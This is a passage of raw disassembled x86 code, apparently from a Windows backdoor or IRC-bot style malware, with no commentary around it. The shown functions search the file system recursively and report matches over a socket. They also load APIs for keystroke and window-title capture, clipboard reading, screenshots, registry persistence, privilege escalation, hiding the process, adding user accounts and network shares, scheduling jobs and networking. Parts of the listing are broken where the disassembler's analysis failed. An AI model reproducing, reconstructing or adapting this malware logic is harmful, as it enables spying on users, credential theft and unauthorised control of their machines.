		jnz	short loc_4065F6


loc_40663D:				; CODE XREF: .nsp0:00406620j
		push	dword_438C68[esi]
		call	dword_433B60	; closesocket
		push	dword ptr [ebp-14h]
		call	sub_411CB6
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dd 6A99A7E8h, 5E5FDD00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40665C	proc near		; DATA XREF: .nsp0:0040DB44o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4126F0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4066B1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4126F0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_4066B1:				; CODE XREF: sub_40665C+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_422F58
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4066F6
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40F9F1
		add	esp, 14h


loc_4066F6:				; CODE XREF: sub_40665C+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_406774
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_422F24
		push	eax
		call	sub_411EEE
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_406754
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40F9F1
		add	esp, 14h


loc_406754:				; CODE XREF: sub_40665C+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_408E17
		push	[ebp+var_10]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h
		das
		pop	edi
		pop	esi
		pop	ebx
sub_40665C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406774	proc near		; CODE XREF: sub_40665C+B9p
					; sub_406774+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41246A
		mov	edi, dword_41D094
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; dword_41D094
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_406831


loc_4067C0:				; CODE XREF: sub_406774+BBj
		test	[ebp+var_144], 10h
		jz	short loc_40681D
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_4067E4
		cmp	[ebp+var_117], 0
		jz	short loc_40681D
		cmp	[ebp+var_117], 2Eh
		jz	short loc_40681D


loc_4067E4:				; CODE XREF: sub_406774+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41246A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_406774
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_40681D:				; CODE XREF: sub_406774+53j
					; sub_406774+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_41D090	; FindNextFileA
		test	eax, eax
		jnz	short loc_4067C0


loc_406831:				; CODE XREF: sub_406774+4Aj
		push	[ebp+var_4]
		call	near ptr 0AB0000h
		jnb	short near ptr loc_406839+1 ; CODE XREF: sub_406774:loc_406839j
		jnz	short loc_406851
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 14h


loc_406851:				; CODE XREF: sub_406774+C7j
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; dword_41D094
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4068B7


loc_406868:				; CODE XREF: sub_406774+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41246A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_41D090	; FindNextFileA
		test	eax, eax
		jnz	short loc_406868


loc_4068B7:				; CODE XREF: sub_406774+F2j
		push	esi
		call	near ptr 0AB0000h
		dec	byte ptr [ebx+5E5F1C45h]
		pop	ebx
		leave
		retn
sub_406774	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4068C6	proc near		; CODE XREF: .nsp0:00409B46p
		push	ebx
		push	ebp
		mov	ebp, dword_41D0B8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_41D0B8
		mov	esi, dword_41D0B4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4069E6
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_433B74, eax
		call	esi ; dword_41D0B4
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_433AE8, eax
		call	esi ; dword_41D0B4
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_433ACC, eax
		call	esi ; dword_41D0B4
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4339E8, eax
		call	esi ; dword_41D0B4
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_433994, eax
		call	esi ; dword_41D0B4
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4339C4, eax
		call	esi ; dword_41D0B4
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_433A38, eax
		call	esi ; dword_41D0B4
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_433B28, eax
		call	esi ; dword_41D0B4
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_433B84, eax
		call	esi ; dword_41D0B4
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4339F4, eax
		call	esi ; dword_41D0B4
		cmp	dword_433B74, ebx
		mov	dword_4339DC, eax
		jz	short loc_4069C4
		cmp	dword_433AE8, ebx
		jz	short loc_4069C4
		cmp	dword_433ACC, ebx
		jz	short loc_4069C4
		cmp	dword_4339E8, ebx
		jz	short loc_4069C4
		cmp	dword_4339C4, ebx
		jz	short loc_4069C4
		cmp	dword_433A38, ebx
		jz	short loc_4069C4
		cmp	dword_433B28, ebx
		jz	short loc_4069C4
		cmp	dword_433B84, ebx
		jz	short loc_4069C4
		cmp	dword_4339F4, ebx
		jz	short loc_4069C4
		cmp	eax, ebx
		jnz	short loc_4069CE


loc_4069C4:				; CODE XREF: sub_4068C6+B8j
					; sub_4068C6+C0j ...
		mov	dword_433B88, 1


loc_4069CE:				; CODE XREF: sub_4068C6+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_41D0B4
		cmp	eax, ebx
		mov	dword_433B00, eax
		jz	short loc_4069FB
		push	1
		push	ebx
		call	eax
		jmp	short loc_4069FB
; ---------------------------------------------------------------------------


loc_4069E6:				; CODE XREF: sub_4068C6+1Dj
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433B8C, eax
		mov	dword_433B88, 1


loc_4069FB:				; CODE XREF: sub_4068C6+117j
					; sub_4068C6+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41D0B0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406B10
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_433B24, eax
		call	esi ; dword_41D0B4
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_433AD4, eax
		call	esi ; dword_41D0B4
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_433A68, eax
		call	esi ; dword_41D0B4
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_433B78, eax
		call	esi ; dword_41D0B4
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_433A98, eax
		call	esi ; dword_41D0B4
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_433AB8, eax
		call	esi ; dword_41D0B4
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_433B1C, eax
		call	esi ; dword_41D0B4
		cmp	dword_433B24, ebx
		mov	dword_433A10, eax
		jz	short loc_406AB4
		cmp	dword_433AD4, ebx
		jz	short loc_406AB4
		cmp	dword_433A68, ebx
		jz	short loc_406AB4
		cmp	dword_433B78, ebx
		jz	short loc_406AB4
		cmp	dword_433A98, ebx
		jz	short loc_406AB4
		cmp	dword_433AB8, ebx
		jz	short loc_406AB4
		cmp	dword_433B1C, ebx
		jz	short loc_406AB4
		cmp	eax, ebx
		jnz	short loc_406ABE


loc_406AB4:				; CODE XREF: sub_4068C6+1B8j
					; sub_4068C6+1C0j ...
		mov	dword_433B90, 1


loc_406ABE:				; CODE XREF: sub_4068C6+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_433A94, eax
		call	esi ; dword_41D0B4
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4339A8, eax
		call	esi ; dword_41D0B4
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_433A64, eax
		call	esi ; dword_41D0B4
		cmp	dword_433A94, ebx
		mov	dword_433A50, eax
		jz	short loc_406B1B
		cmp	dword_4339A8, ebx
		jz	short loc_406B1B
		cmp	dword_433A64, ebx
		jz	short loc_406B1B
		cmp	eax, ebx
		jnz	short loc_406B25
		jmp	short loc_406B1B
; ---------------------------------------------------------------------------


loc_406B10:				; CODE XREF: sub_4068C6+144j
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433B94, eax


loc_406B1B:				; CODE XREF: sub_4068C6+232j
					; sub_4068C6+23Aj ...
		mov	dword_433B90, 1


loc_406B25:				; CODE XREF: sub_4068C6+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_41D0B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406CC0
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_433B38, eax
		call	esi ; dword_41D0B4
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_433A7C, eax
		call	esi ; dword_41D0B4
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_433AEC, eax
		call	esi ; dword_41D0B4
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4339D4, eax
		call	esi ; dword_41D0B4
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_433A34, eax
		call	esi ; dword_41D0B4
		cmp	dword_433B38, ebx
		mov	dword_433AA4, eax
		jz	short loc_406BB0
		cmp	dword_433A7C, ebx
		jz	short loc_406BB0
		cmp	dword_433AEC, ebx
		jz	short loc_406BB0
		cmp	dword_4339D4, ebx
		jz	short loc_406BB0
		cmp	dword_433A34, ebx
		jz	short loc_406BB0
		cmp	eax, ebx
		jnz	short loc_406BBA


loc_406BB0:				; CODE XREF: sub_4068C6+2C4j
					; sub_4068C6+2CCj ...
		mov	dword_433B98, 1


loc_406BBA:				; CODE XREF: sub_4068C6+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_433AAC, eax
		call	esi ; dword_41D0B4
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_433A84, eax
		call	esi ; dword_41D0B4
		cmp	dword_433AAC, ebx
		mov	dword_433B34, eax
		jz	short loc_406BF5
		cmp	dword_433A84, ebx
		jz	short loc_406BF5
		cmp	eax, ebx
		jnz	short loc_406BFF


loc_406BF5:				; CODE XREF: sub_4068C6+321j
					; sub_4068C6+329j
		mov	dword_433B98, 1


loc_406BFF:				; CODE XREF: sub_4068C6+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_433ABC, eax
		call	esi ; dword_41D0B4
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4339B0, eax
		call	esi ; dword_41D0B4
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4339B8, eax
		call	esi ; dword_41D0B4
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_433A18, eax
		call	esi ; dword_41D0B4
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_433A1C, eax
		call	esi ; dword_41D0B4
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4339CC, eax
		call	esi ; dword_41D0B4
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_433A88, eax
		call	esi ; dword_41D0B4
		cmp	dword_433ABC, ebx
		mov	dword_4339BC, eax
		jz	short loc_406CA3
		cmp	dword_4339B0, ebx
		jz	short loc_406CA3
		cmp	dword_4339B8, ebx
		jz	short loc_406CA3
		cmp	dword_433A18, ebx
		jz	short loc_406CA3
		cmp	dword_433A1C, ebx
		jz	short loc_406CA3
		cmp	dword_4339CC, ebx
		jz	short loc_406CA3
		cmp	dword_433A88, ebx
		jz	short loc_406CA3
		cmp	eax, ebx
		jnz	short loc_406CAD


loc_406CA3:				; CODE XREF: sub_4068C6+3A7j
					; sub_4068C6+3AFj ...
		mov	dword_433B98, 1


loc_406CAD:				; CODE XREF: sub_4068C6+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_41D0B4
		cmp	eax, ebx
		mov	dword_4339B4, eax
		jnz	short loc_406CD5
		jmp	short loc_406CCB
; ---------------------------------------------------------------------------


loc_406CC0:				; CODE XREF: sub_4068C6+26Aj
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433B9C, eax


loc_406CCB:				; CODE XREF: sub_4068C6+3F8j
		mov	dword_433B98, 1


loc_406CD5:				; CODE XREF: sub_4068C6+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_41D0B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406DA1
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_433AB4, eax
		call	esi ; dword_41D0B4
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_433B0C, eax
		call	esi ; dword_41D0B4
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_433B14, eax
		call	esi ; dword_41D0B4
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_433AD0, eax
		call	esi ; dword_41D0B4
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4339F8, eax
		call	esi ; dword_41D0B4
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4339A4, eax
		call	esi ; dword_41D0B4
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_433B10, eax
		call	esi ; dword_41D0B4
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_433990, eax
		call	esi ; dword_41D0B4
		cmp	dword_433AB4, ebx
		mov	dword_433A2C, eax
		jz	short loc_406DAC
		cmp	dword_433B0C, ebx
		jz	short loc_406DAC
		cmp	dword_433B14, ebx
		jz	short loc_406DAC
		cmp	dword_433AD0, ebx
		jz	short loc_406DAC
		cmp	dword_4339F8, ebx
		jz	short loc_406DAC
		cmp	dword_4339A4, ebx
		jz	short loc_406DAC
		cmp	dword_433B10, ebx
		jz	short loc_406DAC
		cmp	dword_433990, ebx
		jz	short loc_406DAC
		cmp	eax, ebx
		jnz	short loc_406DB6
		jmp	short loc_406DAC
; ---------------------------------------------------------------------------


loc_406DA1:				; CODE XREF: sub_4068C6+41Aj
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BA4, eax


loc_406DAC:				; CODE XREF: sub_4068C6+49Bj
					; sub_4068C6+4A3j ...
		mov	dword_433BA0, 1


loc_406DB6:				; CODE XREF: sub_4068C6+4D7j
		mov	ebp, dword_41D0B0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407072
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_433A40, eax
		call	esi ; dword_41D0B4
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_433B6C, eax
		call	esi ; dword_41D0B4
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4339E4, eax
		call	esi ; dword_41D0B4
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4339C0, eax
		call	esi ; dword_41D0B4
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_433A74, eax
		call	esi ; dword_41D0B4
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_433A5C, eax
		call	esi ; dword_41D0B4
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_433A28, eax
		call	esi ; dword_41D0B4
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_433B48, eax
		call	esi ; dword_41D0B4
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_433B64, eax
		call	esi ; dword_41D0B4
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_433A70, eax
		call	esi ; dword_41D0B4
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_433B54, eax
		call	esi ; dword_41D0B4
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_433B08, eax
		call	esi ; dword_41D0B4
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_433AC8, eax
		call	esi ; dword_41D0B4
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_433AC4, eax
		call	esi ; dword_41D0B4
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_433A04, eax
		call	esi ; dword_41D0B4
		push	offset aSend	; "send"
		push	edi
		mov	dword_4339FC, eax
		call	esi ; dword_41D0B4
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_433B18, eax
		call	esi ; dword_41D0B4
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_433B2C, eax
		call	esi ; dword_41D0B4
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_433AE0, eax
		call	esi ; dword_41D0B4
		mov	dword_433AA0, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aSelect	; "select"
		push	edi
		mov	dword_433AF4, eax
		call	esi ; dword_41D0B4
		push	offset aListen	; "listen"
		push	edi
		mov	dword_433AB0, eax
		call	esi ; dword_41D0B4
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_433AF0, eax
		call	esi ; dword_41D0B4
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_433B5C, eax
		call	esi ; dword_41D0B4
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_433AA8, eax
		call	esi ; dword_41D0B4
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_433A6C, eax
		call	esi ; dword_41D0B4
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_433ADC, eax
		call	esi ; dword_41D0B4
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_433B4C, eax
		call	esi ; dword_41D0B4
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_433A80, eax
		call	esi ; dword_41D0B4
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_433A24, eax
		call	esi ; dword_41D0B4
		cmp	dword_433A40, ebx
		mov	dword_433B60, eax
		jz	loc_40707D
		cmp	dword_433B6C, ebx
		jz	loc_40707D
		cmp	dword_4339E4, ebx
		jz	loc_40707D
		cmp	dword_433A74, ebx
		jz	loc_40707D
		cmp	dword_433A5C, ebx
		jz	loc_40707D
		cmp	dword_433A28, ebx
		jz	loc_40707D
		cmp	dword_433B48, ebx
		jz	loc_40707D
		cmp	dword_433B64, ebx
		jz	loc_40707D
		cmp	dword_433A70, ebx
		jz	loc_40707D
		cmp	dword_433B54, ebx
		jz	loc_40707D
		cmp	dword_433B08, ebx
		jz	loc_40707D
		cmp	dword_433AC8, ebx
		jz	loc_40707D
		cmp	dword_433AC4, ebx
		jz	loc_40707D
		cmp	dword_433A04, ebx
		jz	short loc_40707D
		cmp	dword_433B18, ebx
		jz	short loc_40707D
		cmp	dword_433B2C, ebx
		jz	short loc_40707D
		cmp	dword_433AE0, ebx
		jz	short loc_40707D
		cmp	dword_433AA0, ebx
		jz	short loc_40707D
		cmp	dword_433AF4, ebx
		jz	short loc_40707D
		cmp	dword_433AB0, ebx
		jz	short loc_40707D
		cmp	dword_433AF0, ebx
		jz	short loc_40707D
		cmp	dword_433B5C, ebx
		jz	short loc_40707D
		cmp	dword_433AA8, ebx
		jz	short loc_40707D
		cmp	dword_433A6C, ebx
		jz	short loc_40707D
		cmp	dword_433ADC, ebx
		jz	short loc_40707D
		cmp	dword_433B4C, ebx
		jz	short loc_40707D
		cmp	dword_433A80, ebx
		jz	short loc_40707D
		cmp	eax, ebx
		jnz	short loc_407087
		jmp	short loc_40707D
; ---------------------------------------------------------------------------


loc_407072:				; CODE XREF: sub_4068C6+501j
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BAC, eax


loc_40707D:				; CODE XREF: sub_4068C6+6A0j
					; sub_4068C6+6ACj ...
		mov	dword_433BA8, 1


loc_407087:				; CODE XREF: sub_4068C6+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40718C
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_433A0C, eax
		call	esi ; dword_41D0B4
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_433998, eax
		call	esi ; dword_41D0B4
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_433A90, eax
		call	esi ; dword_41D0B4
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_433A44, eax
		call	esi ; dword_41D0B4
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_433A9C, eax
		call	esi ; dword_41D0B4
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_433A60, eax
		call	esi ; dword_41D0B4
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4339D8, eax
		call	esi ; dword_41D0B4
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4339D0, eax
		call	esi ; dword_41D0B4
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4339E0, eax
		call	esi ; dword_41D0B4
		cmp	dword_433A0C, ebx
		mov	ecx, dword_433A60
		mov	dword_433AFC, eax
		jz	short loc_407168
		cmp	dword_433998, ebx
		jz	short loc_407168
		cmp	dword_433A90, ebx
		jz	short loc_407168
		cmp	dword_433A44, ebx
		jz	short loc_407168
		cmp	dword_433A9C, ebx
		jz	short loc_407168
		cmp	ecx, ebx
		jz	short loc_407168
		cmp	dword_4339D8, ebx
		jz	short loc_407168
		cmp	dword_4339D0, ebx
		jz	short loc_407168
		cmp	dword_4339E0, ebx
		jz	short loc_407168
		cmp	eax, ebx
		jnz	short loc_407172


loc_407168:				; CODE XREF: sub_4068C6+860j
					; sub_4068C6+868j ...
		mov	dword_433BB0, 1


loc_407172:				; CODE XREF: sub_4068C6+8A0j
		cmp	ecx, ebx
		jz	short loc_4071A7
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_433A60
		cmp	eax, ebx
		mov	dword_433A78, eax
		jnz	short loc_4071A7
		jmp	short loc_4071A1
; ---------------------------------------------------------------------------


loc_40718C:				; CODE XREF: sub_4068C6+7CCj
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BB4, eax
		mov	dword_433BB0, 1


loc_4071A1:				; CODE XREF: sub_4068C6+8C4j
		mov	dword_433A78, ebx


loc_4071A7:				; CODE XREF: sub_4068C6+8AEj
					; sub_4068C6+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4071F1
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_433A54, eax
		call	esi ; dword_41D0B4
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_433B80, eax
		call	esi ; dword_41D0B4
		cmp	dword_433A54, ebx
		mov	dword_4339EC, eax
		jz	short loc_4071FC
		cmp	dword_433B80, ebx
		jz	short loc_4071FC
		cmp	eax, ebx
		jnz	short loc_407206
		jmp	short loc_4071FC
; ---------------------------------------------------------------------------


loc_4071F1:				; CODE XREF: sub_4068C6+8ECj
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_433BBC, eax


loc_4071FC:				; CODE XREF: sub_4068C6+91Bj
					; sub_4068C6+923j ...
		mov	dword_433BB8, 1


loc_407206:				; CODE XREF: sub_4068C6+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_41D0B0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4072FC
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4339C8, eax
		call	esi ; dword_41D0B4
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4339A0, eax
		call	esi ; dword_41D0B4
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_433A14, eax
		call	esi ; dword_41D0B4
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_433A48, eax
		call	esi ; dword_41D0B4
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_433B58, eax
		call	esi ; dword_41D0B4
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_433A00, eax
		call	esi ; dword_41D0B4
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4339AC, eax
		call	esi ; dword_41D0B4
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43399C, eax
		call	esi ; dword_41D0B4
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_433A30, eax
		call	esi ; dword_41D0B4
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_433B20, eax
		call	esi ; dword_41D0B4
		cmp	dword_4339C8, ebx
